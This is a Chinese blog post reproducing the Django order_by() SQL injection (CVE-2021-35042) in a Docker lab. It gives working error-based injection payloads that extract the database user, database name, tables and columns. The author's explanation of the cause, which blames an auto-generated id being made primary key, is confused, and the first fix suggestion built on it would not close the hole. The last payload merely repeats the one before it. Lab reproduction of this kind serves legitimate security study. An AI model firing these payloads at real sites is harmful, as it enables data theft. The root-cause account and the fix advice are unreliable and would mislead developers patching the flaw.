前言

SQL注入的原理是对web请求,表单或域名等提交查询的字符串没有进行安全检测过滤,攻击者可以拼接执行恶意SQL命令,导致用户数据泄露

漏洞原理

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

以下是我自己的理解,根据Django使用的框架中,他创建了apps.py并执行,会自动生成一个models.py

models.py调用了Collection的这个类

然后发送到了这边,而models又需要migrations来迁移文件,其中调用了models.AutoField,而它如果在没有增加id这个字段的时候,会自动增加一个自增的数据库类型的字段id,但恰恰在此需要设为主键(primary_key=True)否则又会报错,导致错误将id设置为主键,可以执行SQL命令且没有被过滤

所以当order==id时会出现一个自增序列的数据(可以是ID也是等于id)

而当order=-ID又会出现问题,而打印出一些敏感信息

*影响版本

Django 3.2
Django 3.1

环境搭建

靶机: 192.168.31.230

yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //下载阿里的镜像yum源yum install docker-ce docker-ce-cli contaninerd.iowget https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-Linux-x86_64 //下载docker-composeservice docker start详细docker搭建请参考此链接:https://www.cnblogs.com/BlogVice-2203/p/16977227.html

将CVE-2021-35042上传到centos7

docker-compose builddocker-compose up -d  //启动漏洞环境

环境启动成功后,查看http://your-ip:8000访问首页

构造poc

查当前用户?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23

查当前数据库?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

查表?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23

查字段?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x5c),1)%23

查字段?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

查数据?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

修复建议

1.将除了id以外的其他字段其中一个设置为主键(我自己对AutoField()的理解),这样或许可以避免id成为主键自增,在数据库中就没有了主键id,就不会导致SQL注入产生
2.更新最新版本

本文来自博客园,作者:Vice_2203,转载请注明原文链接:https://www.cnblogs.com/BlogVice-2203/p/17003715.html